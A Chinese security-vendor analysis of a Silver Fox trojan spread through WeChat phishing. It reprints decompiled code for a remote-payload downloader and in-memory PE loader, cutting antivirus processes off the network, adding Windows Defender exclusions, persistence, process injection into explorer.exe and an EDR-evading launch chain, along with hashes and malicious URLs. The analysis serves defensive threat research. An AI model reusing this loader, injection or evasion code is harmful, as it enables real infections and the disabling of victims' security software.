银狐魅影:隐藏于进程迷雾中的恶意“幽灵链”

概述

  近日 瑞星威胁情报平台 捕获到一起银狐木马的攻击事件,由于该样本存在较多对抗杀毒软件及EDR的手段,故此针对此次捕获的样本进行分析说明。

  银狐木马主要通过钓鱼网页、即时通讯软件、下载站伪装成常用软件供用户下载等方式进行传播,通过钓鱼、即时通讯软件传播的木马文件名称通常包含发票税务补贴通知薪资等极具诱导性的字眼,以诱导用户打开,木马运行后会联网下载真正的木马病毒,进而攻击者利用远控木马监控用户日常操作,获取隐私信息等。

事件详情

  此次捕获的样本在微信群中传播,以极具诱导性的话语人社局关于2025年辖区各企业个人补贴发放人员名单(电脑版)引诱受害者运行银狐木马Setup-177.exe

image

图:微信钓鱼文件

攻击流程

  攻击者通过从微信群诱导受害者运行Setup-177.exeSetup-177.exe将远程服务器中的恶意PE文件手动映射在内存中执行,先通过COM组件启动mmc文件,接着mmc文件启动html文件,最后html文件利用WMI启动下载好的白加黑进程。该木马采用如此复杂的启动方式,目的是阻断进程链,增加EDR溯源的难度,白加黑进程最终将读取的银狐木马shellcode注入至explorer.exe进程中。

image

样本分析

初始样本分析

字段 内容
原始文件名 Setup-177.exe
文件大小 1044 KB
文件MD5 f498657f7861d03bd65ac3c6f1e987a6
文件类型 EXE
病毒名 Downloader.Agent!1.13201
主要功能 从远程服务器读取恶意PE手动映射在内存中执行

  手动映射从hxxps://downloder.bj.bcebos.com/177.xml读取恶意载荷,获取run导出函数的地址并调用。

public Form1()
{
    string address = string.Concat(new object[]
    {
        'h', 't', 't', 'p', 's', ':', '/', '/', 'd', 'o',
        'w', 'n', 'l', 'o', 'd', 'e', 'r', '.', 'b', 'j',
        '.', 'b', 'c', 'e', 'b', 'o', 's', '.', 'c', 'o',
        'm', '/', '1', '7', '7', '.', 'x', 'm', 'l'
    });
    Form1.mian();   //判断当前执行进程是否为管理员权限,若不是则以管理员权限启动进程
    byte[] peImage = new WebClient().DownloadData(address); //从服务端读取恶意载荷
    ManualMapLoader.LoadedModule module = ManualMapLoader.Map(peImage); //通过自写Map函数,手动映射从服务端读取的PE文件
    string functionName = 'r' + 'u' + 'n';
    IntPtr exportAddress = ManualMapLoader.GetExportAddress(module, functionName);  //从手动映射加载的模块中获取"run"导出函数的地址
    bool flag = exportAddress == IntPtr.Zero;
    if (flag)
    {
        Environment.Exit(0);
    }
    Form1.logHelper = (Form1.LogHelper)Marshal.GetDelegateForFunctionPointer(exportAddress, typeof(Form1.LogHelper));   //将"run"导出函数指针转换为实例
    Form1.logHelper();  //调用"run"导出函数
    Thread.Sleep(1000);
    Form1.logHelper();
    Thread.Sleep(1000);
    Form1.logHelper();
    Environment.Exit(0);
}

  手动映射加载的部分代码如下:

NativeMethods.IMAGE_DOS_HEADER* ptr2 = (NativeMethods.IMAGE_DOS_HEADER*)ptr;
if (ptr2->e_magic != 23117)  //验证DOS头 0x5A4D -> "MZ"
{
    throw new InvalidOperationException("Not a valid MZ header");
}
void* ptr3 = (void*)(ptr + ptr2->e_lfanew);
if (((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->Signature != 17744U)  //验证NT头 0x4550 -> "PE" 
{
    throw new InvalidOperationException("Not a valid PE header");
}
...
bool flag = ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.Magic == 523;  //判断PE架构 0x20B -> 64位
uint num = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.SizeOfImage : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.SizeOfImage);
uint num2 = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.SizeOfHeaders : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.SizeOfHeaders);
ulong num3 = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.ImageBase : ((ulong)((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.ImageBase));
...
//映射节数据
for (int i = 0; i < (int)num4; i++)
{
    byte* ptr8 = ptr4 + ptr7->VirtualAddress;
    uint sizeOfRawData = ptr7->SizeOfRawData;
    if (sizeOfRawData > 0U)
    {
        NativeRuntime.VirtualAlloc((void*)ptr8, sizeOfRawData, 4096U, 4U);
        NativeRuntime.memcpy((void*)ptr8, (void*)(ptr + ptr7->PointerToRawData), sizeOfRawData);
    }
    else
    {
        uint num5 = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.SectionAlignment : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.SectionAlignment);
        if (num5 > 0U)
        {
            NativeRuntime.VirtualAlloc((void*)ptr8, num5, 4096U, 4U);
            NativeRuntime.memset((void*)ptr8, 0, num5);
        }
    }
    ptr7++;
}
...
//修复重定位表
byte* ptr9 = ptr4 + image_DATA_DIRECTORY.VirtualAddress;
byte* ptr10 = ptr9 + image_DATA_DIRECTORY.Size;
while (ptr9 < ptr10)
{
    NativeMethods.IMAGE_BASE_RELOCATION* ptr11 = (NativeMethods.IMAGE_BASE_RELOCATION*)ptr9;
    uint sizeOfBlock = ptr11->SizeOfBlock;
    uint num7 = (sizeOfBlock - (uint)sizeof(NativeMethods.IMAGE_BASE_RELOCATION)) / 2U;
    ushort* ptr12 = (ushort*)(ptr9 + sizeof(NativeMethods.IMAGE_BASE_RELOCATION));
    for (uint num8 = 0U; num8 < num7; num8 += 1U)
    {
        ushort num9 = ptr12[(ulong)num8 * 2UL / 2UL];
        ushort num10 = (ushort)(num9 >> 12);
        ushort num11 = num9 & 4095;
        if (num10 != 0)
        {
            byte* ptr13 = ptr4 + ptr11->VirtualAddress + num11;
            if (!flag && num10 == 3)
            {
                uint* ptr14 = (uint*)ptr13;
                *ptr14 += (uint)num6;
            }
            else if (flag && num10 == 10)
            {
                ulong* ptr15 = (ulong*)ptr13;
                *ptr15 += num6;
            }
        }
    }
    ptr9 += sizeOfBlock;
...
//初始化导入表
NativeMethods.IMAGE_DATA_DIRECTORY image_DATA_DIRECTORY2 = (flag ? ((NativeMethods.IMAGE_DATA_DIRECTORY*)(&((NativeMethods.IMAGE_NT_HEADERS64*)ptr6)->OptionalHeader.DataDirectory.FixedElementField)) : ((NativeMethods.IMAGE_DATA_DIRECTORY*)(&((NativeMethods.IMAGE_NT_HEADERS32*)ptr6)->OptionalHeader.DataDirectory.FixedElementField)))[sizeof(NativeMethods.IMAGE_DATA_DIRECTORY)];
...
ptr7 = (flag ? ((NativeMethods.IMAGE_SECTION_HEADER*)ptr6 + 24L / (long)sizeof(NativeMethods.IMAGE_SECTION_HEADER) + (ulong)((NativeMethods.IMAGE_NT_HEADERS64*)ptr6)->FileHeader.SizeOfOptionalHeader / (ulong)sizeof(NativeMethods.IMAGE_SECTION_HEADER)) : ((NativeMethods.IMAGE_SECTION_HEADER*)ptr6 + 24L / (long)sizeof(NativeMethods.IMAGE_SECTION_HEADER) + (ulong)((NativeMethods.IMAGE_NT_HEADERS32*)ptr6)->FileHeader.SizeOfOptionalHeader / (ulong)sizeof(NativeMethods.IMAGE_SECTION_HEADER)));
//设置内存属性
for (int j = 0; j < (int)num4; j++)
{
    uint characteristics = ptr7->Characteristics;
    bool flag2 = (characteristics & 536870912U) > 0U;
    bool flag3 = (characteristics & 1073741824U) > 0U;
    bool flag4 = (characteristics & 2147483648U) > 0U;
    uint flNewProtect = (flag2 ? (flag3 ? (flag4 ? 64U : 32U) : 16U) : (flag3 ? (flag4 ? 4U : 2U) : 1U));
    uint num12;
    NativeRuntime.VirtualProtect((void*)(ptr4 + ptr7->VirtualAddress), (ptr7->SizeOfRawData == 0U) ? (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr3)->OptionalHeader.SectionAlignment : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr3)->OptionalHeader.SectionAlignment) : ptr7->SizeOfRawData, flNewProtect, &num12);
    ptr7++;
}
...
//TLS回调执行
if (image_DATA_DIRECTORY3.VirtualAddress != 0U)
{
    NativeMethods.IMAGE_TLS_DIRECTORY* ptr21 = (NativeMethods.IMAGE_TLS_DIRECTORY*)(ptr4 + image_DATA_DIRECTORY3.VirtualAddress);
    void** ptr22 = (void**)ptr21->AddressOfCallBacks;
    if (ptr22 != null)
    {
        while (*(IntPtr*)ptr22 != (IntPtr)((UIntPtr)0))
        {
            ((NativeMethods.IMAGE_TLS_CALLBACK)Marshal.GetDelegateForFunctionPointer((IntPtr)(*(IntPtr*)ptr22), typeof(NativeMethods.IMAGE_TLS_CALLBACK)))((void*)ptr4, 1U, null);
            ptr22 += sizeof(void*) / sizeof(void*);
        }
    }
}
//DLL入口点调用
uint num13 = (flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr6)->OptionalHeader.AddressOfEntryPoint : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr6)->OptionalHeader.AddressOfEntryPoint);
bool flag5 = ((flag ? ((NativeMethods.IMAGE_NT_HEADERS64*)ptr6)->FileHeader.Characteristics : ((NativeMethods.IMAGE_NT_HEADERS32*)ptr6)->FileHeader.Characteristics) & 8192) > 0;
if (num13 > 0U && flag5 && !((ManualMapLoader.DllEntryProc)Marshal.GetDelegateForFunctionPointer((IntPtr)((void*)(ptr4 + num13)), typeof(ManualMapLoader.DllEntryProc)))((void*)ptr4, 1U, null))
{
    throw new InvalidOperationException("DllMain failed");
}
//返回结果
return new ManualMapLoader.LoadedModule
{
    CodeBase = ptr4, //加载基址
    Headers = ptr6, //PE头指针
    IsDll = flag5,  //是否DLL文件
    Is64Bit = flag  //是否64位PE文件
};

177.xml DLL分析

字段 内容
原始文件名 177.xml
文件大小 189 KB
文件MD5 c9a04270048489f8130aab409c9d90e0
文件类型 DLL
病毒名 Downloader.Agent!1.13205
主要功能 下载并运行白加黑进程

  动态获取NsiIoctl函数所需API

v0 = 0;
v8 = 'd\0t';
v9 = 'l\0l';
v10 = 'd\0.';
ModuleName = 'n';
v11 = 'l\0l';
v12 = 0;
result = GetModuleHandleW(&ModuleName);       // ntdll.dll
v2 = result;
if ( result )
{
  strcpy(ProcName, "NtDeviceIoControlFile");
  strcpy(v5, "NtWaitForSingleObject");
  strcpy(v6, "RtlNtStatusToDosError");
  NtDeviceIoControlFile_qword_180030700 = (__int64)GetProcAddress(result, ProcName);
  NtWaitForSingleObject_qword_180030708 = (__int64)GetProcAddress(v2, v5);
  ProcAddress = GetProcAddress(v2, v6);
  RtlNtStatusToDosError_qword_180030710 = (__int64)ProcAddress;

  对杀软进程列表的对应进程断网

while ( 1 )
{
  for ( i = 0i64; i < 7; ++i )
  {
    v2 = MyCmpProcessName_sub_180002450(lpMultiByteStr[i]); //遍历进程名,与杀软进程列表中对比
    v3 = v2;
    if ( v2 && *((_DWORD *)v2 + 2) )
    {
      v4 = 0;
      v5 = 0i64;
      do
      {
        MyDisableCloud_sub_180002630(*(_DWORD *)((char *)*v3 + v5));    //若杀软进程列表包含进程名,则对该进程断网
        ++v4;
        v5 += 4i64;
      }
      while ( v4 < *((_DWORD *)v3 + 2) );
    }
  }
  Sleep(1u);
}

  杀软进程列表如下:

360Tray.exe、360Safe.exe、ZhuDongFangYu、LiveUpdate360.exe、safesvr.exe、360leakfixer.exe、HRUpdate.exe

  通过实现NsiIoctl函数,对指定进程断网,实现底层函数是攻击者为了防止安全厂商将其外层函数SetTcpEntry挂钩

if ( _InterlockedCompareExchange64(&qword_18002EFC8, -1i64, -1i64) == -1 )
  {
    FileW = CreateFileW(L"\\\\.\\Nsi", 0, 3u, 0i64, 3u, 0x80u, 0i64);
    if ( FileW == (HANDLE)-1i64 )
      return GetLastError();
    if ( _InterlockedCompareExchange64(&qword_18002EFC8, (signed __int64)FileW, -1i64) != -1 )
      CloseHandle(FileW);
  }
  v8 = _InterlockedCompareExchange64(&qword_18002EFC8, 0i64, 0i64);
  if ( v8 == -1 )
    return 6;
  EventW = CreateEventW(0i64, 0, 0, 0i64);
  v10 = EventW;
  if ( !EventW )
    return GetLastError();
  v14 = 0i64;
  v12 = *a3;
  v13 = 0i64;
  v11 = NtDeviceIoControlFile_qword_180030700(v8, EventW, 0i64, 0i64, &v13, 0x120013, a1, 72, a2, v12); //IOCTL_TCP_ADD_SECURITY_FILTER
  if ( v11 == 0x103 )
  {
    v11 = NtWaitForSingleObject_qword_180030708(v10, 0i64, 0i64);
    if ( v11 >= 0 )
      v11 = v13;
  }
  CloseHandle(v10);
  if ( v11 < 0 )
    return RtlNtStatusToDosError_qword_180030710((unsigned int)v11);
  *a3 = v14;
  return 0;
}

  以路径C:\Program Files\SetupInfo[0-9]{6}创建隐藏文件夹

if ( CreateDirectoryA(v10, 0i64) )            // C:\Program Files\SetupInfo[0-9]{6}
{
  strcpy(v38, "\\DBGBufferp.dll");
  MyStrCat_sub_180004A20(Src, (__int64)lpPathName, v38);
  v11 = (const CHAR *)lpPathName;
  if ( v28 >= 0x10 )
    v11 = lpPathName[0];
  FileAttributesA = GetFileAttributesA(v11);
  if ( FileAttributesA != -1 )
  {
    v13 = (const CHAR *)lpPathName;
    if ( v28 >= 0x10 )
      v13 = lpPathName[0];
    SetFileAttributesA(v13, FileAttributesA | 2);// FILE_ATTRIBUTE_HIDDEN   设置文件夹为隐藏状态

  下载并释放文件

MyUrlStrcat_sub_1800014F0();    //拼接下载链接
v14 = (char *)Src;
if ( v30 >= 0x10 )
  v14 = (char *)Src[0];
v24 = 15i64;
v23 = 0i64;
LOBYTE(DropperFilePath[0]) = 0;
MyMemmove_sub_1800041B0(DropperFilePath, v14, (_BYTE *)strlen(v14));
*(_QWORD *)&url[24] = 15i64;
*(_QWORD *)&url[16] = 0i64;
url[0] = 0;
MyMemmove_sub_1800041B0(url, MyDllUrl_byte_180030500, (_BYTE *)strlen(MyDllUrl_byte_180030500));
MyDownloaderAndDropperFile_sub_180001160((__int64)url, (__int64)DropperFilePath, 90);   //下载并释放文件

  下载的XMLDLL文件释放名称都是硬编码,只有EXE文件的名称需要生成,格式为:uninstall_[0-9A-Za-z]{8}.exe

strcpy(v7, "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");
a1[3] = (void *)15;
a1[2] = 0i64;
*(_BYTE *)a1 = 0;
v2 = (unsigned __int64)a1[2];
v3 = 8i64;
if ( v2 <= 8 && a1[3] != (void *)8 && MyResize_sub_180003F00(a1, 8ui64, 1) )
{
  a1[2] = (void *)v2;
  if ( (unsigned __int64)a1[3] < 0x10 )
    v4 = (__int64 *)a1;
  else
    v4 = (__int64 *)*a1;
  *((_BYTE *)v4 + v2) = 0;
}
do
{
  v5 = rand();
  MyStrCat_sub_180003D00(a1, (unsigned __int8)v7[v5 % 0x3Eui64]);   //循环8次随机添加[0-9A-Za-z]
  --v3;
}
while ( v3 );
return a1;

  释放路径及对应下载链接如下:

释放路径 下载链接
C:\Program Files\SetupInfo[0-9]{6}\DBGBufferp.dll hxxps://downloder.bj.bcebos.com/DBGBufferp.dll
C:\Program Files\SetupInfo[0-9]{6}\adp.xml hxxps://downloder.bj.bcebos.com/177.mdb
C:\Program Files\SetupInfo[0-9]{6}\uninstall_[0-9A-Za-z]{8}.exe hxxps://downloder.bj.bcebos.com/dfsvc.exe

  通过设置注册表允许运行未签名的ActiveX控件,为后续运行html文件做准备

v4[0] = _mm_load_si128((const __m128i *)aSoftwareMicros);
v4[1] = _mm_load_si128((const __m128i *)&aSoftwareMicros[16]);
v4[2] = _mm_load_si128((const __m128i *)&aSoftwareMicros[32]);
v4[3] = _mm_load_si128((const __m128i *)&aSoftwareMicros[48]);
v5 = '0\\s';
                                   //Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones
RegCreateKeyExA(HKEY_CURRENT_USER, v4[0].m128i_i8, 0, 0i64, 0, 2u, 0i64, &hKey, 0i64);
*(_DWORD *)Data = 0;
strcpy(ValueName, "1201");
RegSetValueExA(hKey, ValueName, 0, 4u, Data, 4u);
return RegCloseKey(hKey);

  释放C:\Windows\Temp\temp_{当前时间戳}.html,主要功能为通过wmi启动释放的白加黑EXE文件

v3 = fopen(a2, "w");
  v4 = v3;
  if ( v3 )
  {
    fprintf(
      v3,
      "<!DOCTYPE html>\n"
      "<html>\n"
      "<head>\n"
      "    <meta charset=\"utf-8\">\n"
      "    <title>index</title>\n"
      "    <script type=\"text/javascript\">\n"
      "    window.onload = function() {\n"
      "        try {\n"
      "            var locator = new ActiveXObject(\"WbemScripting.SWbemLocator\");\n"
      "            var services = locator.ConnectServer(\".\", \"root\\\\cimv2\");\n"
      "            var process = services.Get(\"Win32_Process\");\n"
      "            var result = process.Create(\"\\\"%s\\\"\");\n"    //C:\Program Files\SetupInfo[0-9]{6}\uninstall_[0-9A-Za-z]{8}.exe
      "        } catch(e) {\n"
      "        }\n"
      "    }\n"
      "    </script>\n"
      "</head>\n"
      "<body>\n"
      "</body>\n"
      "</html>\n",
      v6);
    LODWORD(v3) = fclose(v4);
  }
  return (int)v3;

  释放C:\Windows\Temp\temp_{当前时间戳}temp_%ld.mmc,主要功能为启动释放的temp_{当前时间戳}.html文件

<StringTable>
  <GUID>{71E5B33E-1064-11D2-808F-0000F875A9CE}</GUID>
  <Strings>
    <String ID="1" Refs="1">收藏夹</String>
    <String ID="2" Refs="2">1.html</String>
    <String ID="3" Refs="1">%$HTMLPATH$%</String>   <!-- C:\Windows\Temp\temp_{当前时间戳}temp_%ld.html -->
    <String ID="4" Refs="2">控制台根节点</String>
  </Strings>

  使用COM调用MMC加载temp_{当前时间戳}temp_%ld.mmc。最终的结果是通过COM启动mmc文件,mmc文件又启动了html文件,html文件通过WMI启动白加黑进程,这样做的原因是阻断进程链,使EDR更加难以溯源

CoInitializeEx(0i64, 2u);
CLSIDFromProgID(L"MMC20.Application.1", &clsid);
IDispatch = 0i64;
CoCreateInstance(&clsid, 0i64, 4u, &riid, (LPVOID *)&IDispatch);// riid {00020400-0000-0000-C000-000000000046}
VariantInit(&pvarg);
pvarg.vt = 8;
pvarg.llVal = (LONGLONG)SysAllocString(v5);   // mmc文件路径
v13 = 'd\0a\0o\0L';   //Load
v14 = 0;
v9 = &v13;
(*(void (__fastcall **)(__int64, void *, __int64 **, __int64, int, unsigned int *))(*(_QWORD *)IDispatch    //将"Load"映射为DISPID
                                                                                  + offsetof(IDispatch, GetIDsOfNames)))(
  IDispatch,
  &unk_180018400,
  &v9,        // Load
  1i64,
  1024,
  &v8);
v10[1] = 0i64;
v10[2] = 1i64;
v10[0] = (__int64)&pvarg;
LOWORD(v6) = 1;                                                                                     //通过 DISPID 调用"Load"方法,加载temp_{当前时间戳}temp_%ld.mmc
(*(void (__fastcall **)(__int64, _QWORD, void *, __int64, int, __int64 *, _QWORD, _QWORD, _QWORD))(*(_QWORD *)IDispatch + offsetof(IDispatch, Invoke)))(
  IDispatch,
  v8,
  &unk_180018400,
  1024i64,
  v6,
  v10,
  0i64,
  0i64,
  0i64);
VariantClear(&pvarg);
if ( IDispatch )
  (*(void (__fastcall **)(__int64))(*(_QWORD *)IDispatch + offsetof(IDispatch, Release)))(IDispatch);
CoUninitialize();
j_j_free(v5);

DBGBufferp.dll 分析

字段 内容
原始文件名 DBGBufferp.dll
文件大小 26 KB
文件MD5 ec1e1c2e7f48a66476f7ed30b6cb0442
文件类型 DLL
病毒名 Trojan.Injector!1.13208
主要功能 将xml内容读取并注入至explorer.exe进程

  判断进程名是否包含uninstall,若没有则退出

public static bool IsDFSvcExe()
{
    return Path.GetFileName(Process.GetCurrentProcess().MainModule.FileName).Contains("uninstall");
}

  通过执行WMI方法,将符合条件的驱动器添加至Windows Defender的排除路径

public static void addsafe()
{
    foreach (string text in Environment.GetLogicalDrives())
    {
        try
        {
            DriveInfo driveInfo = new DriveInfo(text);
            if (driveInfo.DriveType == DriveType.Fixed || driveInfo.DriveType == DriveType.Removable) //判断驱动器是否为固定驱动器或可移动驱动器
            {
                helper.AddDefenderExclusion(text);
            }
        }
        catch
        {
        }
    }
}

private static void AddDefenderExclusion(string path)
{
    try
    {
        ManagementScope managementScope = new ManagementScope(Encoding.UTF8.GetString(Convert.FromBase64String(helper.ReverseString
        ("=IXZk5WZmVGRcN3dvRmbpdFX0Z2bz9mcjlWTcR3bvJHXuwFX"))));  //decode -> \\.\root\Microsoft\Windows\Defender
        managementScope.Connect();
        string @string = Encoding.UTF8.GetString(Convert.FromBase64String(helper.ReverseString("=U2YuVmclZWZyBFcN9FVGNVT"))); //decode -> MSFT_MpPreference
        ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath(@string), null);
        ManagementBaseObject methodParameters = managementClass.GetMethodParameters("Add");
        string string2 = Encoding.UTF8.GetString(Convert.FromBase64String(helper.ReverseString("==Aa0FGUu9WazVHbjhXR"))); //decode -> ExclusionPath
        methodParameters[string2] = new string[] { path };
        managementClass.InvokeMethod("Add", methodParameters, null);
    }
    catch (Exception)
    {
    }
}

  添加计划任务及服务

    string tsname = helper.GetTSName(); //tsname = "svc_" + 进程名的MD5
    helper.addT(tsname);    //创建自启动计划任务
    helper.addS(tsname);    //创建自启动服务
    if (!helper.IsSystem()) //判断是否SYSTEM权限
    {                       //若不是SYSTEM权限则以管理员权限启动计划任务及服务
        helper.startS(tsname);
        helper.startT(tsname);
        Environment.Exit(0);
    }

  从资源中提取内容释放在System32目录下的BEB.exe文件并添加注册表,这里利用了BootExecute EDR Bypass开源项目,主要原理是在Windows操作系统完全初始化之前运行BEB.exe

try
{                       //将名为beb的资源内容写入"C:\Windows\System32\BEB.exe"                                              //decode -> C:\Windows\System32\BEB.exe
    File.WriteAllBytes(Encoding.UTF8.GetString(Convert.FromBase64String(mesinip.<InitializeNewDomain>g__ReverseString|1_0("lhXZuIURCxlMz0WZ0NXeTx1c39GZul2VcpzQ"))), Resource1.beb);
}
catch
{
}
try
{
    Process process = new Process();
    string @string = Encoding.UTF8.GetString(Convert.FromBase64String(mesinip.<InitializeNewDomain>g__ReverseString|1_1("=oQDm9CIiIURCJCIk9CIaN1XJRFTV10XHVkUgQ3LgISZ0V3YlhXRtJ3bmRXYsBlIgY3LgIicldWYuFWTg42bpN3clNFXs9mc052bDxFdlNFbvJHdu92Q05WZyJXdDxVTFR1UZNFXNx0SIJCIkRWY")));  //decode -> add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "PlatformExecute" /t REG_MULTI_SZ /d "BEB" /f
    process.StartInfo.FileName = "reg.exe";
    process.StartInfo.Arguments = @string;
    process.StartInfo.CreateNoWindow = true;
    process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
    process.StartInfo.UseShellExecute = false;
    process.StartInfo.Verb = "runas";
    process.Start();
}
catch
{
}

  遍历当前执行程序所在目录下所有XML文件,读取XML文件并注入explorer.exe

string[] files = Directory.GetFiles(helper.GetExeDirectoryWithBackslash(), "*.xml", SearchOption.TopDirectoryOnly);   //获取当前执行程序所在目录下所有XML文件的完整路径
List<Thread> list = new List<Thread>();
string[] array = files;
for (int i = 0; i < array.Length; i++)
{
    string tempFile2 = array[i];
    string tempFile = tempFile2;
    Thread thread = new Thread(delegate()
    {
        this.Method(tempFile);  //读取shellcode并注入到自己创建的explorer.exe中
    });
    list.Add(thread);
    thread.Start();
}
foreach (Thread thread2 in list)
{
    thread2.Join();
}
}

  以挂起的方式创建explorer.exe进程

//exePath = C:\\Windows\\explorer.exe          // CREATE_SUSPENDED
if (!dd.CreateProcessAsUser(intPtr, null, exePath, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, null, ref startupinfo, out result))
{
    return result;
}

  通过动态获取的函数WriteProcessMemory将读取的shellcode写入explorer.exe进程

public void MS(dd.PROCESS_INFORMATION i)
{
    KeyValuePair<IntPtr, IntPtr> keyValuePair = this.MS(i.hProcess, 64U, IntPtr.Zero);
    if (keyValuePair.Key == (IntPtr)0 || keyValuePair.Value == (IntPtr)0)
    {
        throw new SystemException("[x]");
    }
    this.ra = keyValuePair.Key;
    this.rz = keyValuePair.Value;
    KeyValuePair<int, IntPtr> keyValuePair2 = this.BP(keyValuePair.Key);
    dd.WPM wpm = dd.GetWPM();   //获取函数WriteProcessMemory
    dd.RPM rpm = dd.GetRPM();   //获取函数ReadProcessMemory
    try
    {
        IntPtr nSize = (IntPtr)keyValuePair2.Key;
        IntPtr value = 0;
        if (!wpm(i.hProcess, this.m, keyValuePair2.Value, nSize, out value) || value == IntPtr.Zero) //将读取的shellcode写入explorer.exe
        {
            throw new SystemException("[x] Failed ! " + dd.GetLastError().ToString());
        }
    }
    finally
    {
        if (keyValuePair2.Value != IntPtr.Zero)
        {
            Marshal.FreeHGlobal(keyValuePair2.Value);
        }
    }
    byte[] lpBuffer = new byte[4096];
    IntPtr intPtr = 0;
    if (!rpm(i.hProcess, this.m, lpBuffer, 1024, out intPtr))
    {
        throw new SystemException("Failed!");
    }
    if (dd.ResumeThread(i.hThread) == 4294967295U) //恢复线程,运行注入的shellcode
    {
        throw new SystemException("[x] Failed !");
    }
}

BEB.exe 分析

字段 内容
原始文件名 BEB.exe
文件大小 3 KB
文件MD5 1a65b67cdf9da962b055e595ee8aa1fb
文件类型 EXE
病毒名 Trojan.KillAV/x64!1.1330C
主要功能 删除360Tray.exe文件

  通过NtDeleteFile删除360Tray.exe文件。

*(&ObjectAttributes.Length + 1) = 0;
*(&ObjectAttributes.Attributes + 1) = 0;
DestinationString = 0i64;
RtlInitUnicodeString(&DestinationString, L"\\??\\C:\\Program Files (x86)\\360\\360Safe\\safemon\\360Tray.exe");
ObjectAttributes.Length = 48;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.RootDirectory = 0i64;
*(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.Attributes = 64;
return NtDeleteFile(&ObjectAttributes);

adp.xml 分析

字段 内容
原始文件名 adp.xml
文件大小 398 KB
文件MD5 da2bc388dda706f882e3ad5944a92475
文件类型 shellcode
病毒名 Backdoor.SilverFox!1.12E40
主要功能 加载内部包裹的银狐木马

  adp.xml内容为开源项目donut生成的shellcode,主要功能是在内存中加载银狐木马,因其在不同版本使用API有所差异,可以确定攻击者使用的donut为v1.0及以上版本

image

  检查要加载的PE文件与当前进程的架构是否兼容

if (nt->FileHeader.Machine != nthost->FileHeader.Machine) {
      if ((nt->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 && nthost->FileHeader.Machine == IMAGE_FILE_MACHINE_IA64)
          && !CheckForILOnly(nthost, (ULONG_PTR)host)) {
          DPRINT("Host process %08lx and file %08lx are not compatible...cannot load.",
            nthost->FileHeader.Machine, nt->FileHeader.Machine);
          return;
      }
  }

  将创建的内存区域映射到当前进程的地址空间

if (inst->decoy[0] == 0) {
  status = inst->api.NtCreateSection(&hSection, SECTION_ALL_ACCESS, 0, &liSectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
  DPRINT("NTSTATUS: %d", status);
  if(status != 0) return;
...
status = inst->api.NtMapViewOfSection(hSection, inst->api.GetCurrentProcess(), &cs, 0, 0, 0, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
DPRINT("View size: %lld", viewSize);

  复制PE头及个节区

Memcpy(origmod, cs, nt->OptionalHeader.SizeOfHeaders);
...
for(i=0; i<ntnew->FileHeader.NumberOfSections; i++) {
  PBYTE dest = (PBYTE)cs + sh[i].VirtualAddress;
  PBYTE source = (PBYTE)base + sh[i].PointerToRawData;

  重定位表修复

if (has_reloc && ofs != 0) {
  DPRINT("Applying Relocations");

  rva  = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
  ibr = RVA2VA(PIMAGE_BASE_RELOCATION, cs, rva);

  while ((PBYTE)ibr < ((PBYTE)cs + rva + size) && ibr->SizeOfBlock != 0) {
    list = (PIMAGE_RELOC)(ibr + 1);

    while ((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) {
      if (ibr->VirtualAddress + list->offset < ntnew->OptionalHeader.SizeOfImage) {
        PULONG_PTR address = (PULONG_PTR)((PBYTE)cs + ibr->VirtualAddress + list->offset);
        if (list->type == IMAGE_REL_BASED_DIR64) {
          *address += (ULONG_PTR)ofs;
        } else if (list->type == IMAGE_REL_BASED_HIGHLOW) {
          *address += (DWORD)(ULONG_PTR)ofs;
        } else if (list->type == IMAGE_REL_BASED_HIGH) {
          *address += HIWORD(ofs);
        } else if (list->type == IMAGE_REL_BASED_LOW) {
          *address += LOWORD(ofs);
        } else if (list->type != IMAGE_REL_BASED_ABSOLUTE) {
          DPRINT("ERROR: Unrecognized Relocation type %08lx.", list->type);
          goto pe_cleanup;
        }
      }
      list++;
    }
    ibr = (PIMAGE_BASE_RELOCATION)list;
  }
}

  导入表修复

for (;imp->Name!=0; imp++) {
  name = RVA2VA(PCHAR, cs, imp->Name);

  dll = xGetLibAddress(inst, name);

  oft = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->OriginalFirstThunk);
  ft  = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->FirstThunk);

  for (;; oft++, ft++) {
    if (oft->u1.AddressOfData == 0) break;

    if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) {
      ft->u1.Function = (ULONG_PTR)xGetProcAddress(inst, dll, NULL, oft->u1.Ordinal);
    } else {
      ibn = RVA2VA(PIMAGE_IMPORT_BY_NAME, cs, oft->u1.AddressOfData);

      if(mod->thread != 0) {
        if(IsExitAPI(inst, ibn->Name)) {
          DPRINT("Replacing %s!%s with ntdll!RtlExitUserThread", name, ibn->Name);
          ft->u1.Function = (ULONG_PTR)inst->api.RtlExitUserThread;
          continue;
        }
      }
